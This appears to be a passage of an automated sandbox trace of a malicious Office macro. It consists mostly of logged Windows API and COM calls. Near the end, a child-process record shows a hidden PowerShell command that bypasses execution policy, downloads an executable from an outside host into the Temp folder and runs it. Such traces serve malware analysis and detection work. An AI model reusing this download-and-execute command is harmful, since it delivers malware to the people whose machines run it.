0xffffffffffffffff [0245.255] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5cc0, dwSize=0x5c) returned 1 [0245.255] RtlLookupFunctionEntry (in: ControlPc=0xaeb5cc0, ImageBase=0x189988, HistoryTable=0x189990 | out: ImageBase=0x189988, HistoryTable=0x189990) returned 0xaeb5d2c [0245.255] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.255] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.255] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.256] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b0c) returned 1 [0245.256] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.257] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x258) returned 0x7fee5a04ee0 [0245.257] GetCurrentProcess () returned 0xffffffffffffffff [0245.257] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5dbc, dwSize=0x43) returned 1 [0245.257] RtlLookupFunctionEntry (in: ControlPc=0xaeb5dbc, ImageBase=0x189928, HistoryTable=0x189930 | out: ImageBase=0x189928, HistoryTable=0x189930) returned 0xaeb5e0c [0245.257] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.257] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.257] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.258] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b0d) returned 1 [0245.258] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.258] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x278) returned 0x7fee5a6d6f0 [0245.259] GetCurrentProcess () returned 0xffffffffffffffff [0245.259] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb54e0, dwSize=0x53) returned 1 [0245.259] RtlLookupFunctionEntry (in: ControlPc=0xaeb54e0, ImageBase=0x189928, HistoryTable=0x189930 | out: ImageBase=0x189928, HistoryTable=0x189930) returned 0xaeb5540 [0245.259] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.259] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.259] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.259] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b0e) returned 1 [0245.259] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.260] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x204) returned 0x7fee5a6d760 [0245.260] GetCurrentProcess () returned 0xffffffffffffffff [0245.260] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6194, dwSize=0x3b) returned 1 [0245.260] RtlLookupFunctionEntry (in: ControlPc=0xaeb6194, ImageBase=0x189928, HistoryTable=0x189930 | out: ImageBase=0x189928, HistoryTable=0x189930) returned 0xaeb61dc [0245.260] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.260] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.261] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.261] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b0f) returned 1 [0245.261] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.262] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x260) returned 0x7fee5a6ae28 [0245.262] GetCurrentProcess () returned 0xffffffffffffffff [0245.262] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6254, dwSize=0x43) returned 1 [0245.262] RtlLookupFunctionEntry (in: ControlPc=0xaeb6254, ImageBase=0x189928, HistoryTable=0x189930 | out: ImageBase=0x189928, HistoryTable=0x189930) returned 0xaeb62a4 [0245.262] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.262] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.262] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.263] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b10) returned 1 [0245.263] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.264] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x277) returned 0x7fee5a6d690 [0245.264] GetCurrentProcess () returned 0xffffffffffffffff [0245.264] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb7184, dwSize=0x4b) returned 1 [0245.264] RtlLookupFunctionEntry (in: ControlPc=0xaeb7184, ImageBase=0x189928, HistoryTable=0x189930 | out: ImageBase=0x189928, HistoryTable=0x189930) returned 0xaeb71dc [0245.264] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.264] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0245.264] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0245.265] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900001b11) returned 1 [0245.265] SetErrorMode (uMode=0x8001) returned 0x8001 [0245.265] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x245) returned 0x7fee5a6a6c8 [0245.265] GetCurrentProcess () returned 0xffffffffffffffff [0245.266] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb7254, dwSize=0x3b) returned 1 [0245.266] RtlLookupFunctionEntry (in: ControlPc=0xaeb7254, ImageBase=0x189928, HistoryTable=0x189930 | out: ImageBase=0x189928, HistoryTable=0x189930) returned 0xaeb729c [0245.267] IMalloc:Free (This=0x7fefecb5380, pv=0xb5e9920) [0245.267] IMalloc:Free (This=0x7fefecb5380, pv=0xb6486e0) [0245.267] IUnknown:AddRef (This=0xb481528) returned 0x2 [0245.267] ITypeInfo:RemoteGetTypeAttr (in: This=0xb481528, ppTypeAttr=0x18a3f8, pDummy=0xb6342c0 | out: ppTypeAttr=0x18a3f8, pDummy=0xb6342c0*=0x7) returned 0x0 [0245.267] ITypeInfo:LocalReleaseTypeAttr (This=0xb481528) returned 0x0 [0245.267] IUnknown:Release (This=0xb481528) returned 0x1 [0245.267] IMalloc:Free (This=0x7fefecb5380, pv=0xb642260) [0245.268] IMalloc:Free (This=0x7fefecb5380, pv=0xaeeef10) [0245.301] IMalloc:Free (This=0x7fefecb5380, pv=0xaeeefc0) [0245.302] free (_Block=0xc43a340) [0245.302] GetCurrentThreadId () returned 0xbdc [0245.302] SetCursor (hCursor=0x10007) returned 0x10007 [0245.302] free (_Block=0xc437a90) [0245.302] free (_Block=0xc438630) [0245.303] free (_Block=0xc4390f0) [0245.303] free (_Block=0xcadcca0) [0245.303] free (_Block=0xcadcc70) [0245.303] free (_Block=0xc437b50) [0245.303] malloc (_Size=0x18) returned 0xc4390f0 [0245.303] free (_Block=0xc439a60) [0245.303] free (_Block=0xc439db0) [0245.303] free (_Block=0xc4390d0) [0245.303] free (_Block=0xc4398d0) [0245.303] free (_Block=0xc439ca0) [0245.303] free (_Block=0xc439110) [0245.303] IMalloc:Free (This=0x7fefecb5380, pv=0xb5d7d10) [0245.303] free (_Block=0xc4387a0) [0245.304] free (_Block=0xcaddfb0) [0245.304] free (_Block=0xc439b10) [0245.304] GetCurrentThreadId () returned 0xbdc [0245.304] GetCurrentThreadId () returned 0xbdc [0245.304] free (_Block=0xcadde20) [0245.304] IUnknown:Release (This=0xb563ef0) returned 0x0 [0245.304] IMalloc:Free (This=0x7fefecb5380, pv=0xb3ab0f0) [0245.304] IMalloc:Free (This=0x7fefecb5380, pv=0xb644060) [0245.304] IMalloc:Free (This=0x7fefecb5380, pv=0xb3de1d0) [0245.304] IMalloc:Free (This=0x7fefecb5380, pv=0xb3f1b10) [0245.304] IMalloc:Free (This=0x7fefecb5380, pv=0xb3e6190) [0245.304] IMalloc:Free (This=0x7fefecb5380, pv=0xb3e7250) [0245.304] IMalloc:Free (This=0x7fefecb5380, pv=0xb3e4410) [0245.304] IMalloc:Free (This=0x7fefecb5380, pv=0xb4d1c40) [0245.305] RtlLookupFunctionEntry (in: ControlPc=0x51c119c, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0x0 [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb63ac, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0x0 [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb6490, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0x0 [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb65fc, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0x0 [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0x7b40280) [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb2ad810) [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb580e30) [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb581280) [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb7254, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0xaeb729c [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb5dbc, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0xaeb5e0c [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb6254, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0xaeb62a4 [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb54e0, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0xaeb5540 [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb7184, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0xaeb71dc [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb6194, ImageBase=0x18a130, HistoryTable=0x18a150 | out: ImageBase=0x18a130, HistoryTable=0x18a150) returned 0xaeb61dc [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb5830b0) [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb581f70) [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb581b20) [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb5816d0) [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb582810) [0245.305] IMalloc:Free (This=0x7fefecb5380, pv=0xb5823c0) [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb5444, ImageBase=0x18a170, HistoryTable=0x18a190 | out: ImageBase=0x18a170, HistoryTable=0x18a190) returned 0xaeb54a8 [0245.305] RtlLookupFunctionEntry (in: ControlPc=0xaeb5cc0, ImageBase=0x18a170, HistoryTable=0x18a190 | out: ImageBase=0x18a170, HistoryTable=0x18a190) returned 0xaeb5d2c [0245.306] IMalloc:Free (This=0x7fefecb5380, pv=0xb582c60) [0245.306] IMalloc:Free (This=0x7fefecb5380, pv=0xb4994d0) [0245.307] free (_Block=0xc439d50) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0x7d65790) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xaf106d0) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xb4fc230) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xb62f580) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0x7e078f0) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xb270ff0) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xb3f1b50) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xb57fd80) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xb6293b0) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xafc38a0) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xb5e1b60) [0245.307] IMalloc:Free (This=0x7fefecb5380, pv=0xad55410) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xad43ee0) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xad44030) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0x776a940) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb629320) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb629410) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xad554d0) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb6294a0) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0x7cd7e90) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb527770) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb3d2190) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb2a0900) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb3d2250) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xaeb50e0) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb0d87a0) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb0d8550) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xaeb7140) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xaeb6110) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xaeb5c70) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb229220) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xaeb5330) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xaeb5580) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb0d7e60) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0x51bf200) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xaeb65b0) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xaeb6360) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0x51c1010) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0x2548790) [0245.308] IMalloc:Free (This=0x7fefecb5380, pv=0xb3ab060) [0245.309] IMalloc:Free (This=0x7fefecb5380, pv=0xb3aaeb0) [0245.309] IMalloc:Free (This=0x7fefecb5380, pv=0xb633ee0) [0245.309] IMalloc:Free (This=0x7fefecb5380, pv=0xb5a9ee0) [0245.309] IMalloc:Free (This=0x7fefecb5380, pv=0xb393d20) [0245.309] VirtualFree (lpAddress=0x65d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.310] IMalloc:Free (This=0x7fefecb5380, pv=0xb644020) [0245.310] IMalloc:Free (This=0x7fefecb5380, pv=0xaf4dc20) [0245.310] IMalloc:Free (This=0x7fefecb5380, pv=0xb2ea8e0) [0245.310] IMalloc:Free (This=0x7fefecb5380, pv=0xb017df0) [0245.310] IUnknown:Release (This=0xb481318) returned 0x0 [0245.310] IUnknown:Release (This=0xb481370) returned 0x1 [0245.310] IUnknown:Release (This=0xb481268) returned 0x0 [0245.310] IUnknown:Release (This=0xb563e98) returned 0x0 [0245.310] IUnknown:Release (This=0xb564418) returned 0x0 [0245.310] IUnknown:Release (This=0xb564470) returned 0x0 [0245.310] IMalloc:Realloc (This=0x7fefecb5380, pv=0x7cc2c20, cb=0x0) returned 0x0 [0245.310] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xb5e9920 [0245.310] IMalloc:Free (This=0x7fefecb5380, pv=0xb5e8f90) [0245.310] IMalloc:Free (This=0x7fefecb5380, pv=0xb2eaeb0) [0245.310] IMalloc:Free (This=0x7fefecb5380, pv=0xb2a3ea0) [0245.311] IUnknown:Release (This=0xb481370) returned 0x0 [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xad43fc0) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb5a9890) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0x7c0a580) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb2eae80) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xaf20140) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb3aea50) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb5e9920) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xafc4cc0) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb5a94b0) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb627430) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb6273d0) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb3d3a50) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb3d3b10) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb3ae9c0) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb634900) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb3aec00) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb3943b0) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0x4fba760) [0245.311] IMalloc:Free (This=0x7fefecb5380, pv=0xb3aec90) [0245.311] IUnknown:Release (This=0xb4814d0) returned 0x0 [0245.311] IUnknown:Release (This=0xb481528) returned 0x0 [0245.312] IUnknown:Release (This=0xb481420) returned 0x0 [0245.312] IMalloc:Realloc (This=0x7fefecb5380, pv=0x76ba5b0, cb=0x0) returned 0x0 [0245.312] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc4cc0 [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb5e8f80) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0x4fba700) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0x76ba5e0) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb6342b0) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb2be4a0) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xaf231a0) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb3aeb70) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xafc4cc0) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xafc5e40) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb5aa420) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb627400) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb629650) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb3d3bd0) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb3d3c90) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xb3aeae0) [0245.312] IMalloc:Free (This=0x7fefecb5380, pv=0xaf26120) [0245.312] wcsncpy_s (in: _Destination=0x18a040, _SizeInWords=0x108, _Source="*\\Z04603e795d", _MaxCount=0x106 | out: _Destination="*\\Z04603e795d") returned 0x0 [0245.312] CharLowerBuffW (in: lpsz="*\\Z04603e795d", cchLength=0xd | out: lpsz="*\\z04603e795d") returned 0xd [0245.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04603e795d", cchWideChar=14, lpMultiByteStr=0x189f70, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04603e795d", lpUsedDefaultChar=0x0) returned 14 [0245.313] _wcsicmp (_String1="*\\Z04603e795d", _String2="*\\Z04603e795d") returned 0 [0245.313] IUnknown:Release (This=0xb55fe10) returned 0x1 [0245.313] IUnknown:Release (This=0xaeffda0) returned 0x2 [0245.313] IUnknown:Release (This=0xb5603b0) returned 0x2 [0245.313] IUnknown:Release (This=0xb560950) returned 0x0 [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0x79faa10) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0xb2be890) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0xb22a670) [0245.322] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb6266b0, cb=0x0) returned 0x0 [0245.322] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xb5e8f70 [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0xb5e9910) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0xb2c1500) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0xb628480) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0xafc3250) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0xb2c10b0) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0x7c19f00) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0x7b3ddf0) [0245.322] IMalloc:Free (This=0x7fefecb5380, pv=0xb5e8f70) [0245.323] IMalloc:Free (This=0x7fefecb5380, pv=0xaf64720) [0245.323] IMalloc:Free (This=0x7fefecb5380, pv=0xb38a510) [0245.323] IMalloc:Free (This=0x7fefecb5380, pv=0xad55350) [0245.323] IMalloc:Free (This=0x7fefecb5380, pv=0x23f6340) [0245.323] IMalloc:Free (This=0x7fefecb5380, pv=0x23f63e0) [0245.323] IMalloc:Free (This=0x7fefecb5380, pv=0x7aa3e00) [0245.323] IMalloc:Free (This=0x7fefecb5380, pv=0x7a18110) [0245.323] VirtualFree (lpAddress=0x4b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.324] VirtualFree (lpAddress=0x65f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.325] IMalloc:Free (This=0x7fefecb5380, pv=0xaff7cb0) [0245.325] VirtualFree (lpAddress=0x4ae0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.325] VirtualFree (lpAddress=0x4ad0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.326] IMalloc:Free (This=0x7fefecb5380, pv=0xb22aa80) [0245.326] IMalloc:Free (This=0x7fefecb5380, pv=0x799ec00) [0245.326] IMalloc:Free (This=0x7fefecb5380, pv=0xb621170) [0245.326] IMalloc:Free (This=0x7fefecb5380, pv=0xaf27520) [0245.327] IMalloc:Free (This=0x7fefecb5380, pv=0xafcea30) [0245.327] IMalloc:Free (This=0x7fefecb5380, pv=0x4ded250) [0245.327] IMalloc:Free (This=0x7fefecb5380, pv=0x25629d0) [0245.327] IMalloc:Free (This=0x7fefecb5380, pv=0x7aa3650) [0245.327] free (_Block=0xcadcbb0) [0245.327] free (_Block=0xcadcbd0) [0245.327] free (_Block=0xcadcbf0) [0245.327] free (_Block=0xcadcc10) [0245.327] free (_Block=0xcadcc30) [0245.327] free (_Block=0xcadcc50) [0245.327] free (_Block=0xc437b20) [0245.327] free (_Block=0xcadddb0) [0245.327] free (_Block=0xcadcd70) [0245.327] free (_Block=0xcadd590) [0245.327] free (_Block=0xc4390f0) [0245.327] GetCurrentThreadId () returned 0xbdc [0245.327] GetCurrentThreadId () returned 0xbdc [0245.327] free (_Block=0xcadcd40) [0245.327] free (_Block=0xcadccd0) [0245.327] free (_Block=0xcaddf50) [0245.327] free (_Block=0xc438bc0) [0245.327] free (_Block=0xc438a90) [0245.327] free (_Block=0xcaddf90) [0245.327] free (_Block=0xc438e20) [0245.327] free (_Block=0xc4390b0) [0245.327] free (_Block=0xc438f50) [0245.327] free (_Block=0xc438cf0) [0245.328] free (_Block=0xcadc7b0) [0245.328] free (_Block=0xcadc680) [0246.857] SendMessageA (hWnd=0x20360, Msg=0x10, wParam=0x0, lParam=0x0) returned 0x0 [0246.857] IsWindow (hWnd=0x0) returned 0 [0246.857] IsWindow (hWnd=0x0) returned 0 [0246.857] IsWindow (hWnd=0x0) returned 0 [0246.857] PeekMessageA (in: lpMsg=0x18ceb0, hWnd=0x20360, wMsgFilterMin=0x1007, wMsgFilterMax=0x1007, wRemoveMsg=0x3 | out: lpMsg=0x18ceb0) returned 0 [0246.857] DestroyWindow (hWnd=0x20360) returned 1 [0246.858] free (_Block=0xcadc5e0) [0246.858] DeleteDC (hdc=0x5a010b41) returned 1 [0246.859] GlobalDeleteAtom (nAtom=0xc121) returned 0x0 [0246.859] free (_Block=0xcadc530) [0246.859] free (_Block=0xcadc4e0) [0246.859] free (_Block=0xcadc5b0) [0246.859] free (_Block=0xcadc580) [0246.859] free (_Block=0xc437a60) [0246.859] IMalloc:Free (This=0x7fefecb5380, pv=0x4e244d0) [0246.859] IMalloc:Free (This=0x7fefecb5380, pv=0xaf0f110) [0246.859] IMalloc:Free (This=0x7fefecb5380, pv=0xaf10610) [0246.859] IMalloc:Free (This=0x7fefecb5380, pv=0x7bf2f00) [0246.859] IMalloc:Free (This=0x7fefecb5380, pv=0xafa5a70) [0246.859] IMalloc:Free (This=0x7fefecb5380, pv=0xb460ee0) [0246.860] WaitForSingleObject (hHandle=0xf6c, dwMilliseconds=0x12c) returned 0x0 [0246.878] CloseHandle (hObject=0xf6c) returned 1 [0246.878] IMalloc:Free (This=0x7fefecb5380, pv=0xb228e10) [0246.878] IMalloc:Free (This=0x7fefecb5380, pv=0xb2281e0) [0246.878] IMalloc:Free (This=0x7fefecb5380, pv=0xb2285f0) [0246.878] IMalloc:Free (This=0x7fefecb5380, pv=0xb228a00) [0246.879] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7fefeae0000 [0246.880] GetProcAddress (hModule=0x7fefeae0000, lpProcName="DllDebugObjectRPCHook") returned 0x7fefec5afd0 [0246.880] DllDebugObjectRPCHook () returned 0x1 [0246.881] IMalloc:Free (This=0x7fefecb5380, pv=0x4e99320) [0246.881] IUnknown:Release (This=0xb55fe10) returned 0x0 [0246.883] VirtualFree (lpAddress=0x62f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.884] IMalloc:Free (This=0x7fefecb5380, pv=0x7780f50) [0246.884] VirtualFree (lpAddress=0x6300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.884] IMalloc:Free (This=0x7fefecb5380, pv=0x7781190) [0246.884] VirtualFree (lpAddress=0x4aa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.885] VirtualFree (lpAddress=0x4ac0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.886] VirtualFree (lpAddress=0x4ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.887] IMalloc:Free (This=0x7fefecb5380, pv=0xae0b480) [0246.887] VirtualFree (lpAddress=0x41e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.888] IMalloc:Free (This=0x7fefecb5380, pv=0x7bfb380) [0246.888] VirtualFree (lpAddress=0x4a50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.889] VirtualFree (lpAddress=0x41d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.889] IMalloc:Free (This=0x7fefecb5380, pv=0xb3c4190) [0246.889] IMalloc:Free (This=0x7fefecb5380, pv=0xae0ad30) [0246.889] IMalloc:Free (This=0x7fefecb5380, pv=0x2426150) [0246.889] IMalloc:Free (This=0x7fefecb5380, pv=0xaf0fdd0) [0246.889] IMalloc:Free (This=0x7fefecb5380, pv=0xaf11180) [0246.889] IMalloc:Free (This=0x7fefecb5380, pv=0x23aeaf0) [0246.890] IMalloc:Free (This=0x7fefecb5380, pv=0xb56c210) [0246.890] IMalloc:Free (This=0x7fefecb5380, pv=0xb804010) [0246.890] IMalloc:Free (This=0x7fefecb5380, pv=0xadd0a30) [0246.890] IUnknown:AddRef (This=0x7fefecb5380) returned 0x1 [0246.912] free (_Block=0xc432640) [0246.913] FreeLibrary (hLibModule=0x7fee5660000) returned 1 Thread: id = 35 os_tid = 0xd0c Thread: id = 36 os_tid = 0xd10 Thread: id = 37 os_tid = 0xd14 Thread: id = 38 os_tid = 0xd18 Thread: id = 39 os_tid = 0xd24 Thread: id = 40 os_tid = 0xd28 Thread: id = 41 os_tid = 0xd38 Thread: id = 247 os_tid = 0xf04 Thread: id = 248 os_tid = 0xf10 Thread: id = 249 os_tid = 0xf28 Thread: id = 251 os_tid = 0xf08 Thread: id = 252 os_tid = 0xf30 Thread: id = 253 os_tid = 0xf2c Thread: id = 254 os_tid = 0xf40 Thread: id = 255 os_tid = 0xf24 Process: id = "2" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x33440000" os_pid = "0xd50" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa84" cmd_line = "powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://sevice.eu5.org/client.exe',$env:Temp+'\\newfile.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\\newfile.Exe')" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0xd54 [0075.472] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0075.923] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, 